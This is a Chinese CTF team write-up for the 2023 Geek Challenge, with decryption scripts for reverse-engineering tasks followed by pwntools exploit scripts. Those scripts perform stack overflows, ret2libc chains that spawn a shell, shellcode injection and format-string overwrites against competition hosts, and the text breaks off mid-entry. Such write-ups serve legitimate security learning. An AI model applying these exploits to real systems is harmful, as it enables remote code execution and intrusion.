2023极客大挑战-AGRT战队wp

目录

RE

Shiftjmp

点击就送的逆向题

幸运数字

​编辑

砍树

小黄鸭

flower-or-tea

mySelf

是男人就来扎针

听说cpp很难?

Easymath

寻找初音未来

Rainbow

浪漫至死不渝

ezandroid

Pwn

nc_pwntools

password

ret2text

write1

ret2libc

ezpwn

write2

fmt1.0

white_canary

why_n0t_puts

EVA

fmt2.0

fmt3.0

CRYPTO

ext^7gcd

EzComplex

card_game

Energetic_Carcano

​编辑

JPGDiff

Simple3DES

Fi1nd_th3_x'

Diligent_Liszt

Signin

proof_of_work

SimpleRSA

OTPTwice

OldAlgorithm

easy_classic

PolyRSA

Just need one

WEB

unsign

EzHttp

n00b_Upload

easy_php

ctf_curl

flag保卫战

klf_ssti

ez_remove

ez_path

you konw flask?

Pupyy_rce

famale_imp_l0ve

ez_php

scan_tool

klf_2

EzRce

ezpython

change_it

ezrfi

Akane!

klf_3

ez_sql

MISC

下一站是哪呢

窃听风云

extractMe

ez_smilemo

DEATH_N0TE

Qingwan心都要碎了

xqr

DEATH_N1TE

give_me_Goerlieth

SimpleConnect

DEATH-N2TE

stage


RE

Shiftjmp

花指令

0x117A+1地址改为90(nop)去除花指令

找到加密函数

写出解密脚本

a = "SXAxS6jd8doTxBQ{x\"Ma\'csE-|El,o/{^\\"
for i in range(len(a)):
    print(chr(ord(a[i]) ^ i), end="")


运行得flag:SYC{W3lc0me_tO_th3_r3veR5e_w0r1d~}

点击就送的逆向题

文件为.s后缀文件看起来比较麻烦,直接用gcc编译成可执行文件

编写解密脚本

a = "Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM"

for i in a:

    print(chr(ord(i) - 7 ), end="")

flag:SYC{SYCTQWEFGHYIICIOJKLBNMCVBFGHSDFF}

幸运数字

算法简单懒得分析了直接爆破

a0 = [13, 7, 29, 37, 29, 110, 48, 57, 44, 63, 42, 43, 50, 63, 42, 55, 110, 48, 48, 48, 48, 45, 1, 7, 49, 43, 1, 57, 31,

      59, 45, 45, 27, 58, 1, 12]

a1 = "o96*#"

for i in a1:

    a0.append(ord(i))

flag = []

for i in range(221):

    flag = ""

    for j in a0:

        flag += (chr(j ^ i))

    if flag[:3] == "SYC":

        print(flag)

得到flagSYC{C0ngratulati0nnnns_You_gAessEd_R1ght}

砍树

Apk逆向

可以看到找不到这个关键函数I0o0I改一下后缀解压去lib里找找

找到加密函数

a = [0, 32, 32, 23, 27, 54, 14, 54, 38, 23, 4, 42, 41, 7, 38, 21, 82, 51, 45, 15, 58, 39, 17, 6, 51, 7, 70, 23, 61, 10, 60, 56, 46, 34, 24]
key = "Sycloverforerver"
for i in range(len(a)):
    print(chr(a[i] ^ ord(key[i % 7])), end="")

flag:SYC{t@ke_thE_bul1_By_the_h0rns_TAT}‘

小黄鸭

好多py开头的判断是py转的exe

得到1.pyc

用python的uncompyle6工具反编译为py得到代码

根据代码写出脚本

def upper(num):
    num = num % 26
    while 1:
        if 'A' <= chr(num) <= 'Z':
            return chr(num)
        else:
            num = num + 26


def lower(num):
    num = num % 26
    while 1:
        if 'a' <= chr(num) <= 'z':
            return chr(num)
        else:
            num = num + 26


arr = '~h|p4gs`gJdN`thPwR`jDn`te1w`2|RNH'
arr1 = ""
arr2 = ""
for i in arr:
    arr1 += chr(ord(i) - 2)
for i in arr:
    arr2 += chr(ord(i) - 1)
arr = list(arr)

b = []
for i in range(len(arr)):
    if (arr1[i]).isalpha():
        c = arr1[i]
        if 'A' <= c <= 'Z':
            b.append(upper(ord(c) + 13))
        elif 'a' <= c <= 'z':
            b.append(lower(ord(c) + 13))
        continue
    b.append(arr2[i])
for i in range(len(b)-1, -1, -1):
    print(b[i], end="")

运行得flag(应该是“{”和“m”在解密中都符合题目中得条件,代码优先取了m改成“{”就得到flag)

Flag:SYC{1_h0pe_yOu_ChAse_YoUr_dr3ams}

flower-or-tea

nop掉花指令,明显的tea,写exp如下

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<conio.h>
#include<time.h>
#include <windows.h>
#include <stdbool.h>
#include <io.h>
#include <stdint.h>
#include <stdbool.h>
#include <zconf.h>
#include <ctype.h>
#include <math.h>
#include <ntstatus.h>
#include <winsock2.h>

int __cdecl run_tea(unsigned int a1, unsigned int *a2, int *a3)
{
    int result; // eax
    unsigned int i; // [esp+8h] [ebp-10h]
    unsigned int v5; // [esp+Ch] [ebp-Ch]
    unsigned int v6; // [esp+10h] [ebp-8h]
    unsigned int v7; // [esp+14h] [ebp-4h]

    v6 = *a2;
    v5 = a2[1];
    v7 = 0;
    for ( i = 0; i < a1; ++i )
    {
        v5 += v7 ^ (a3[(v7 >> 11) & 3] + v7) ^ (v6 + ((v6 >> 5) ^ (16 * v6)));
        v6 += (a3[v7 & 3] + v7) ^ (v5 + ((v5 >> 5) ^ (16 * v5)));
        v7 += 826366247;
    }
    *a2 = v6;
    result = 4;
    a2[1] = v5;
    return result;
}
int __cdecl dec_tea(unsigned int a1, unsigned int *a2, int *a3)
{
    int result; // eax
    unsigned int i; // [esp+8h] [ebp-10h]
    unsigned int v5; // [esp+Ch] [ebp-Ch]
    unsigned int v6; // [esp+10h] [ebp-8h]
    unsigned int v7; // [esp+14h] [ebp-4h]

    v6 = *a2;
    v5 = a2[1];
    v7 = 0;
    for (int j = 0; j < a1; ++j) {
        v7 += 826366247;
    }
    for ( i = 0; i < a1; ++i )
    {
        v7 -= 826366247;
        v6 -= (a3[v7 & 3] + v7) ^ (v5 + ((v5 >> 5) ^ (16 * v5)));
        v5 -= v7 ^ (a3[(v7 >> 11) & 3] + v7) ^ (v6 + ((v6 >> 5) ^ (16 * v6)));
    }
    *a2 = v6;
    result = 4;
    a2[1] = v5;
    return result;
}
int run() {
    int v13[40]; // [esp+CCh] [ebp-E4h]
    int v14[4];
    v14[0] = 32;
    v14[1] = 27;
    v14[2] = 39;
    v14[3] = 44;
    v13[0] = -1694939573;
    v13[1] = -1005078370;
    v13[2] = -1307072749;
    v13[3] = -918836760;
    v13[4] = -1795955634;
    v13[5] = -1244910923;
    v13[6] = 1146217516;
    v13[7] = 2055874714;
    v13[8] = 1405669384;
    v13[9] = 1846639433;
    v13[10] = -1677731948;
    v13[11] = 1593781753;
    v13[12] = 401024305;
    v13[13] = -541222535;
    v13[14] = -1886971078;
    v13[15] = 1944634796;
    v13[16] = -1299812186;
    v13[17] = 1526113129;
    v13[18] = 754440740;
    v13[19] = 880502447;
    v13[20] = -1178055328;
    v13[21] = -1860267729;
    v13[22] = -1118163045;
    v13[23] = -879332550;
    v13[24] = -979801922;
    v13[25] = -1610607639;
    v13[26] = -1053864284;
    v13[27] = -561628656;
    v13[28] = -1597713004;
    v13[29] = 1132501052;
    v13[30] = 2117039688;
    v13[31] = -447882103;
    v13[32] = 1059563152;
    v13[33] = -1249037927;
    v13[34] = 1615521047;
    v13[35] = -1668269692;
    v13[36] = -186628991;
    v13[37] = 1022684671;
    v13[38] = 0;
    v13[39] = 0;
    int v15[2];
    char flag[39];
    for (int i = 0; i < 0x26 / 2; ++i )
    {
        v15[0] = v13[2 * i];
        v15[1] = v13[2 * i + 1];
        dec_tea( 54, (unsigned int *)&v15, v14);
        flag[i] = (char)v15[0];
        flag[0x26 - i - 1] = (char)v15[1];
    }
    printf("%s", flag);

    return 0;
}

int main() {
//    test();
    run();
//    main_def();
    return 0;
}

mySelf

动调进tea加密,写exp直接出

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<conio.h>
#include<time.h>
#include <windows.h>
#include <stdbool.h>
#include <io.h>
#include <stdint.h>
#include <stdbool.h>
#include <zconf.h>
#include <ctype.h>
#include <math.h>
#include <ntstatus.h>

unsigned int __cdecl sub_DD13B0(unsigned int *a1)
{
    int v1; // ebx
    int v2; // edi
    unsigned int v3; // esi
    int v4; // ebx
    unsigned int result; // eax
    unsigned int *v6; // [esp+Ch] [ebp-Ch]
    unsigned int *v7; // [esp+10h] [ebp-8h]
    int v8; // [esp+14h] [ebp-4h]

    v1 = 0;
    v8 = 0;
    do
    {
        v2 = 0;
        v3 = a1[v1];
        v7 = &a1[v1];
        v6 = &a1[v1 + 1];
        v4 = 32;
        int index = 32;
        result = *v6;
        do{
            v2-=1640531527;
            index--;
        }
            while ( index );
        do
        {
            result -= ((v3 >> 5) + 4) ^ (16 * v3 + 3) ^ (v2 + v3);
            v3 -= ((result >> 5) + 2) ^ (16 * result + 2) ^ (v2 + result);
            v2 += 1640531527;
            --v4;
        }
        while ( v4 );
        v8 += 2;
        v1 = v8;
        *v7 = v3;
        *v6 = result;
    }
    while ( v8 < 8 );
    return result;
}
unsigned char enc_data[] =
        {
                240, 249, 189, 189, 196, 148,  97, 226,  37, 145,
                121, 128,  25, 194,  15,  31,  21,  24, 106, 235,
                197, 114, 245, 132, 133,  58, 204,  64, 187,  42,
                163, 210,0
        };
int run() {
    sub_DD13B0((unsigned int*)enc_data);
    printf("%s", enc_data);
    return 0;
}

int main() {
//    test();
    run();
//    main_def();
    return 0;
}

是男人就来扎针

Exp:简单C#,直接patch掉针的命中就行

加个flag头就ok了

听说cpp很难?

题太多了,说不动了,直接贴exp吧

逻辑是每位((a+10)^10) -10

aaa=[0]*33
aaa[0] = 0x4D;
aaa[1] = 0x5F;
aaa[2] = 0x3D;
aaa[3] = 0xFFFFFF85;
aaa[4] = 0x37;
aaa[5] = 0x68;
aaa[6] = 0x73;
aaa[7] = 0x57;
aaa[8] = 0x27;
aaa[9] = 0x68;
aaa[10] = 0x51;
aaa[11] = 0x59;
aaa[12] = 0x7F;
aaa[13] = 0x26;
aaa[14] = 0x6B;
aaa[15] = 0x59;
aaa[16] = 0x73;
aaa[17] = 0x57;
aaa[18] = 0x55;
aaa[19] = 0x5B;
aaa[20] = 0x59;
aaa[21] = 0x6F;
aaa[22] = 0x6A;
aaa[23] = 0x59;
aaa[24] = 0x27;
aaa[25] = 0x57;
aaa[26] = 0x72;
aaa[27] = 0x57;
aaa[28] = 0x4F;
aaa[29] = 0x57;
aaa[30] = 0x78;
aaa[31] = 0x78;
aaa[32] = 0xFFFFFF83;

a = [c&0xff for c in aaa]
a=[c+10 for c in a]
a=[c^10 for c in a]
flag=[c-10 for c in a]

#SYC{Anma1nG_y0u_maKe_it_1alaIa~~}

Easymath

from z3 import *

s=[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 16, 19, 22, 26, 27, 28, 29, 31, 32, 50, 51, 52, 53, 54, 55]
table='01234_asdzxcpoityumnbAOZWXGMY'
matrix=[0x00000012, 0x0000001D, 0x00000010, 0x00000013, 0x0000001B, 0x00000008, 0x0000001F, 0x00000008, 0x00000017, 0x0000001E, 0x0000001D, 0x00000003, 0x0000001C, 0x0000000A, 0x00000015, 0x00000012, 0x0000001D, 0x00000008, 0x00000010, 0x0000001C, 0x0000000B, 0x0000001E, 0x00000007, 0x00000014, 0x00000007 ]

last = [BitVec('a%i'%i,32) for i in range(25)]
sol = Solver()

v7=[0]*25

for i in range(5):
    for j in range(5):
        v7[5*i+j] == 0
        for k in range(5):
            v7[5 * i + j] =( v7[5 * i + j]
                       + last[5 * i + k] * matrix[5 * k + j]) & 0x1F

        sol.add(Not(And(i==j,  v7[5 * i + j] != 1)))
        sol.add(Not(And(i != j , v7[5 * i + j]!=0 )))

print sol.check()

t=[11,
 19,
 9,
 5,
 12,
 14,
 6,
 22,
 27,
 16,
 26,
 28,
 29,
 29,
 11,
 4,
 31,
 22,
 13,
 8,
 27,
 29,
 10,
 16,
 16]

for i in range(len(t)):
    print table[s.index(t[i])],

#SYC{xtd4co_ymiunbbx3Aypsmbzii}

寻找初音未来

据输入的色号修改后面rc4的key的, 初音未来色是39C5BB

第1次输入是39C5BB

第2次输入32*'a'

在比较处下断点,rc4解密

a=[0x25, 0x6F, 0x3D, 0x6C, 0xF9, 0xE0, 0xCF, 0x3F, 0x2E, 0x24, 0xC6, 0x7B, 0x81, 0xBF, 0x55, 0x4F, 0x0D, 0x99, 0x87, 0x47, 0x48, 0xF7, 0xB9, 0x98, 0xFB, 0x1B, 0x22, 0xEC, 0x84, 0x23, 0xFD, 0xB2]
b=[ 0x17, 0x57, 0x1F, 0x76, 0xD6, 0xB1, 0xDA, 0x36, 0x26, 0x2B, 0xC0, 0x45, 0xD1, 0xAD, 0x6B, 0x5D,     0x29, 0x8A, 0x8F, 0x69, 0x5C, 0xE5, 0x87, 0xBB, 0xEF, 0x0E, 0x1C, 0xC0, 0xAC, 0x29, 0xE9, 0xAE]
pt = [ord('a')]*32

flag=''
for i in range(32):
    flag += chr(a[i]^b[i]^pt[i])
print(flag)

#SYC{N0thing_1s_sEriOus_But_MIku}

Rainbow

from libnum import *
v = [0]*4
v[0] = 0x627B44508E415865
v[1] = 0x847D6C49547E4A57
v[2] = 0x4877646060955B4F
v[3] = 0x622D3C689F7B4D7D

from libnum import *
s = b''

for  c in v:
    s += n2s(c)[::-1]
s = s.decode('latin-1')

s=[ord(c) for c in s]

for i in range(32):
    s[i] ^= i

for i in range(32):
    if i%3==0:
        s[i] -= 18

print(''.join(map(chr,s)))

#SYC{TAke_1t_3asy_Just_a_STart!!}

浪漫至死不渝

在文件夹里找到index.js

在代码中找到decryptRailFence函数调用的地方,分析可知,该函数的参数固定,TEXT1可以直接跑出来

继续分析,Text1是异或的密钥,TEXT1用在线js运行工具跑出来,得到异或的密钥:5201314WXHN

function decryptRailFence(cipherText, ooo0oooo) {
    const fence = new Array(ooo0oooo);

    for (let i = 0; i < ooo0oooo; i++) {
        fence[i] = new Array(cipherText.length).fill('.');
    }
    let row = 0;
    let oooo0o0o0 = 1;
    for (let i = 0; i < cipherText.length; i++) {
        if (row === 0) {
            oooo0o0o0 = 1;
        } else if (row === ooo0oooo - 1) {
            oooo0o0o0 = -1;
        }
        fence[row][i] = '*';
        row += oooo0o0o0;
    }
    let index = 0;
    for (let i = 0; i < ooo0oooo; i++) {
        for (let j = 0; j < cipherText.length; j++) {
            if (fence[i][j] === '*') {
                fence[i][j] = cipherText[index++];
            }
        }
    }
    let oooOOOOO0000O0O0O0 = '';
    row = 0;
    oooo0o0o0 = 1;
    for (let i = 0; i < cipherText.length; i++) {
        oooOOOOO0000O0O0O0 += fence[row][i];
        if (row === 0) {
            oooo0o0o0 = 1;
        } else if (row === ooo0oooo - 1) {
            oooo0o0o0 = -1;
        }
        row += oooo0o0o0;
    }
    return oooOOOOO0000O0O0O0;
}
const ooo0oooo = 3;
const key = '53X211WH04N';
const Text1 = decryptRailFence(key, ooo0oooo);
console.log(Text1)
//5201314WXHN

ezandroid

找到MainActivity

分析可知,sb2,sb3分别对应输入的奇偶下标对应值

跟踪sb2

sb2转换成string类型sb4,sb4转换成bytes类型bytes,继续跟踪bytes

这里按位运算,实质上是bytes数组转换成了int数组iArr

继续跟踪iArr

简单的tea加密和逆变换到bytes类型

sb2分析到这结束,继续分析sb3

同样先转换成sb5,跟踪sb5,到MainActivity2

发现就是一个异或加密

exp:

from z3 import * 
from ctypes import * 
enc = [-91, -8, -110, -55, -49, 75, 115, 13, -76, -113, 102, 80] 
S = Solver() 
j = 0 
X = [BitVec('x%s'%i,32)for i in range(3)] 
for i in range(3): 
    S.add(enc[j+3]==(X[i]&255)) 
    S.add(enc[j+2]==((X[i]>>8)&255)) 
    S.add(enc[j+1]==((X[i]>>16)&255)) 
    S.add(enc[j]==((X[i]>>24)&255)) 
    j += 4 
if S.check() == sat: 
    m = S.model() 
    for i in range(len(X)): 
        print(m[X[i]],end=',') 
iArr = [2784531145,3477828365,3029296720] 
# #include <stdio.h> 
# #include <windows.h> 
# unsigned int k[]= {2784531145,3477828365,3029296720}; 
# int iArr[3]; 
# int iArr2[] = {2023708229, -158607964, -2120859654, 1167043672}; 
 
# int main() 
# { 
#     for(int i=0;i<3;i++){ 
#     iArr[i] = (int)k[i]; 
# } 
#     int i9 = iArr[0]; 
#     int i10 = iArr[2]; 
#     int i11 = iArr[1]; 
#     int i12 = iArr2[0]; 
#     int i13 = iArr2[1]; 
#     int i14 = iArr2[2]; 
#     int i15 = iArr2[3]; 
#     int i16 = -1640531527*64; 
#     for (int i18 = 0; i18 < 32; i18++) { 
#         i10 -= (((i11 << 4) + i14) ^ (i11 + i16)) ^ ((i11 >> 5) + i15); 
#         i11 -= (((i10 << 4) + i12) ^ (i10 + i16)) ^ ((i10 >> 5) + i13); 
#         i16 += 1640531527; 
#     } 
#     for (int i17 = 0; i17 < 32; i17++) { 
#         i10 -= (((i9 << 4) + i14) ^ (i9 + i16)) ^ ((i9 >> 5) + i15); 
#         i9 -= (((i10 << 4) + i12) ^ (i10 + i16)) ^ ((i10 >> 5) + i13); 
#         i16 += 1640531527; 
#     } 
#     iArr[0] = i9; 
#     iArr[1] = i10; 
#     iArr[2] = i11; 
#     printf("%d,%d,%d",iArr[0],iArr[1],iArr[2]); 
#     system("pause"); 
#     return 0; 
 
# } 
#after teaDecode 
iArr = [1412454004,859001966,812217458] 
print() 
plaintext = [] 
f = "012345678901234567890" 
for i in range(len(iArr)): 
    if iArr[i] < 0: 
        iArr[i] = 2**32 + iArr[i] 
    b = bin(iArr[i])[2:].rjust(32,'0') 
    for i in range(0,32,8): 
        c = b[i:i+8] 
        str = chr(int(c,2)) 
        plaintext.append(str) 
print(plaintext)#偶 
# #include <stdio.h> 
# #include <windows.h> 
 
# int main() 
# { 
#     char iArr[] = {-107, -106, -95, -115, -119, 127, 26, 121, -62, -20, 86, 9}; 
#     char enc[] = {-91, -8, -110, -55, -49, 75, 115, 13, -76, -113, 102, 80}; 
#     char plaintext2[12]; 
#     for(int i=0;i<12;i++)plaintext2[i] = (char)iArr[i]^enc[i]; 
#     for(int i=0;i<12;i++)printf("%c,",plaintext2[i]); 
#     system("pause"); 
#     return 0; 
# } 
plaintext2= ['0','n','3','D','F','4','i','t','v','c','0','Y']#奇 
flag = '' 
for i in range(len(plaintext)): 
    flag += plaintext[i] 
    flag += plaintext2[i] 
print(flag) 
#flag:SYC{T00nV3tD3F34Tint0vict0rY}


#flag:SYC{T00nV3tD3F34Tint0vict0rY}

Pwn

nc_pwntools

按照要求输入即可完成

from pwn import *

from struct import pack

from ctypes import *

from LibcSearcher import *

import base64

import gmpy2

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')

ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

def s(a):

    p.send(a)

def sa(a, b):

    p.sendafter(a, b)

def sl(a):

    p.sendline(a)

def sla(a, b):

    p.sendlineafter(a, b)

def r():

    p.recv()

def pr():

    print(p.recv())

def rl(a):

    return p.recvuntil(a)

def inter():

    p.interactive()

def bug():

    gdb.attach(p)

    pause()

def get_addr():

    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():

    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))



context(os='linux', arch='amd64', log_level='debug')

p = process('./chal')

#p = remote('pwn.node.game.sycsec.com', 30060)

#elf = ELF('./chal')

#libc=ELF("/glibc-all-in-one/libs/2.34-0ubuntu3.2_amd64/libc.so.6")

#libc = ELF('./libc-2.31.so')







rl("should in the end")

rl("\n")

pay=b'a'*(92)+b'\x53\x79\x63\x6c\x6f\x76\x65\x72'

s(pay)



rl("2.This challenge is harder than first one\n")

c=rl("=?")[:-2]

s=c.decode()

print(s)

print(str(eval(s)))

sl(str(eval(s)))



      

inter()

password

dev/urandom多次打开可能会报0,这里利用这个特点进行爆破

from pwn import *

#context.log_level="debug"

for i in range(200):

    try:

        io=remote("pwn.node.game.sycsec.com",31428)

        #io=process("./password")

    #gdb.attach(io)

    #pause()

        #print('----------------')

        print(i)

        io.recvuntil("please enter user name:")

        io.send(b"a"*0x28+p64(0x4012f3))

        io.recvuntil("please enter password:")

        io.sendline(b"\x00"*0x8)

        text=io.recvuntil(b"password!").decode()

        if "Correct" in text:

            print('*************')

            flag=1

            io.interactive()

        print(text)

        io.close()     

    except:

        io.close()

if flag==1:

    print("&&&&&&&&&&&&")

ret2text

把返回地址改一个字节就可以覆盖返回地址为后门地址

from pwn import *

li = lambda x : print(&apos;\x1b[01;38;5;214m&apos; + x + &apos;\x1b[0m&apos;)
ll = lambda x : print(&apos;\x1b[01;38;5;1m&apos; + x + &apos;\x1b[0m&apos;)
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def bug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b&apos;\x7f&apos;)[-6:].ljust(8, b&apos;\x00&apos;))
def get_sb():
    return libc_base + libc.sym[&apos;system&apos;], libc_base + next(libc.search(b&apos;/bin/sh\x00&apos;))

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)
#p = process(&apos;./pwn&apos;)
p = remote(&apos;pwn.node.game.sycsec.com&apos;, 31296)
#elf = ELF(&apos;./pwn&apos;)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF(&apos;./libc-2.31.so&apos;)

rl("The simplest but not too simple pwn\n")
pay=b&apos;a&apos;*(0x58)+b&apos;\x27&apos;
s(pay)

inter()



      

inter()

write1

看逻辑,按照要求整就完事了

from pwn import *
li = lambda x : print(&apos;\x1b[01;38;5;214m&apos; + x + &apos;\x1b[0m&apos;)
ll = lambda x : print(&apos;\x1b[01;38;5;1m&apos; + x + &apos;\x1b[0m&apos;)
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def bug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b&apos;\x7f&apos;)[-6:].ljust(8, b&apos;\x00&apos;))
def get_sb():
    return libc_base + libc.sym[&apos;system&apos;], libc_base + next(libc.search(b&apos;/bin/sh\x00&apos;))

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)
#p = process(&apos;./chal1&apos;)
p = remote(&apos;pwn.node.game.sycsec.com&apos;, 31387)
#elf = ELF(&apos;./chal1&apos;)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF(&apos;./libc-2.31.so&apos;)


sl(b&apos;a&apos;)

rl("index:")
sl(str(40))


rl("value:")
sl(b"d8")


rl("index:")
#bug()
sl(str(41))
rl("value:")
sl(b"ff")

rl("index:")
#bug()
sl(str(-1))
inter()

ret2libc

ret2csu题目,控制rdx,泄露·libc打ret2libc

from pwn import *
li = lambda x : print(&apos;\x1b[01;38;5;214m&apos; + x + &apos;\x1b[0m&apos;)
ll = lambda x : print(&apos;\x1b[01;38;5;1m&apos; + x + &apos;\x1b[0m&apos;)
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def bug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b&apos;\x7f&apos;)[-6:].ljust(8, b&apos;\x00&apos;))
def get_sb():
    return libc_base + libc.sym[&apos;system&apos;], libc_base + next(libc.search(b&apos;/bin/sh\x00&apos;))

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)
#p = process(&apos;./chal2&apos;)
p = remote(&apos;pwn.node.game.sycsec.com&apos;, 30607)
elf = ELF(&apos;./chal2&apos;)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF(&apos;./libc.so.6&apos;)


rdi=0x0000000000401333
rsi_r15=0x0000000000401331

rl("This challenge no backdoor!")
pay=b&apos;\x00&apos;*(0x10+8)+p64(0x40132A)+p64(0)+p64(1)+p64(1)+p64(elf.got[&apos;write&apos;])+p64(6)+p64(elf.got[&apos;write&apos;])+p64(0x401310)+p64(0)*7+p64(0x4011FD)
#bug()
sl(pay)

libc_base=get_addr()-libc.sym[&apos;write&apos;]
li(hex(libc_base))

system,bin=get_sb()

rl("This challenge no backdoor!")
pay=b&apos;\x00&apos;*(0x10+8)+p64(rdi)+p64(bin)+p64(rdi+1)+p64(system)
#bug()
sl(pay)

inter()

ezpwn

先写入一个read的shellcode,写到rsi里,就能让程序执行shellcode

from pwn import *



li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')

ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

def s(a):

    p.send(a)

def sa(a, b):

    p.sendafter(a, b)

def sl(a):

    p.sendline(a)

def sla(a, b):

    p.sendlineafter(a, b)

def r():

    p.recv()

def pr():

    print(p.recv())

def rl(a):

    return p.recvuntil(a)

def inter():

    p.interactive()

def bug():

    gdb.attach(p)

    pause()

def get_addr():

    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():

    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))



context(os='linux', arch='amd64', log_level='debug')

#p = process('./pwn')

p = remote('pwn.node.game.sycsec.com', 31479)

#elf = ELF('./pwn')

#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

#libc = ELF('./libc-2.31.so')



pay=b'\x90'*8+asm(shellcraft.read(0,"rsi",0xff))

#bug()

s(pay)





pause()

pay=b'\x90'*0x40+asm(shellcraft.sh())



s(pay)



      

inter()

write2

按照要求完成即可

from pwn import *

li = lambda x : print(&apos;\x1b[01;38;5;214m&apos; + x + &apos;\x1b[0m&apos;)
ll = lambda x : print(&apos;\x1b[01;38;5;1m&apos; + x + &apos;\x1b[0m&apos;)
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def bug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b&apos;\x7f&apos;)[-6:].ljust(8, b&apos;\x00&apos;))
def get_sb():
    return libc_base + libc.sym[&apos;system&apos;], libc_base + next(libc.search(b&apos;/bin/sh\x00&apos;))

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)
#p = process(&apos;./chal3&apos;)
p = remote(&apos;pwn.node.game.sycsec.com&apos;, 30672)
#elf = ELF(&apos;./chal3&apos;)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF(&apos;./libc-2.31.so&apos;)

#pay=asm(&apos;&apos;&apos;
#jmp rsp

#&apos;&apos;&apos;)
#for i in range(len(pay)):
# print(hex(pay[i]),end=&apos;,&apos;)
a=[0x6a,0x68,0x48,0xb8,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x2f,0x73,0x50,0x48,0x89,0xe7,0x68,0x72,0x69,0x1,0x1,0x81,0x34,0x24,0x1,0x1,0x1,0x1,0x31,0xf6,0x56,0x6a,0x8,0x5e,0x48,0x1,0xe6,0x56,0x48,0x89,0xe6,0x31,0xd2,0x6a,0x3b,0x58,0xf,0x5]
b=[0xff,0xe4]
&apos;&apos;&apos;
sl(b&apos;a&apos;)

pay=asm(shellcraft.sh())
for i in range(len(pay)):
print(hex(pay[i]),end=&apos;,&apos;)
&apos;&apos;&apos;
def add(i,v):
rl("index:\n")
sl(str(i))
rl("value:")
sl(v)

sl(b&apos;a&apos;)
rl("index_addr:")
stack=hex(int(p.recv(14),16)+4)[2:14]
print(stack)
print(stack[0]+stack[1])
k=0
for i in range(6):
add(45-i,stack[k]+stack[k+1])
k=k+2
for i in range(len(b)):
e=hex(b[i])[2:]
add(i,e)

for i in range(len(a)):
e=hex(a[i])[2:]
add(48+i,e)

rl("index:\n")
sl(str(-1))
#bug()
inter()

      

inter()

fmt1.0

修改返回地址为one_gadget即可

from pwn import *

from struct import pack

from ctypes import *

from LibcSearcher import *

import base64

import gmpy2

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')

ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

def s(a):

    p.send(a)

def sa(a, b):

    p.sendafter(a, b)

def sl(a):

    p.sendline(a)

def sla(a, b):

    p.sendlineafter(a, b)

def r():

    p.recv()

def pr():

    print(p.recv())

def rl(a):

    return p.recvuntil(a)

def inter():

    p.interactive()

def bug():

    gdb.attach(p)

    pause()

def get_addr():

    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():

    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))



context(os='linux', arch='amd64', log_level='debug')

#p = process('./fmt')

p = remote('pwn.node.game.sycsec.com', 30864)

elf = ELF('./fmt')

#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

libc = ELF('./libc.so.6')



rl("Please enter your username: \n")

pay=(b'%7$saaaa'+p64(elf.got['read'])).ljust(0x58,b'\x00')+p64(0x4010F0)

#bug()

s(pay)



libc_base=get_addr()-libc.sym['read']

li(hex(libc_base))

one_gad=libc_base+0xe3b01

rl("Please enter your username: \n")

pay=(b'%7$paaaa'+p64(elf.got['read'])).ljust(0x58,b'\x00')+p64(one_gad)



s(pay)



      

inter()

white_canary

按照它的算法,还原canary即可,然后orw读flag

from pwn import *
from ctypes import *
li = lambda x : print(&apos;\x1b[01;38;5;214m&apos; + x + &apos;\x1b[0m&apos;)
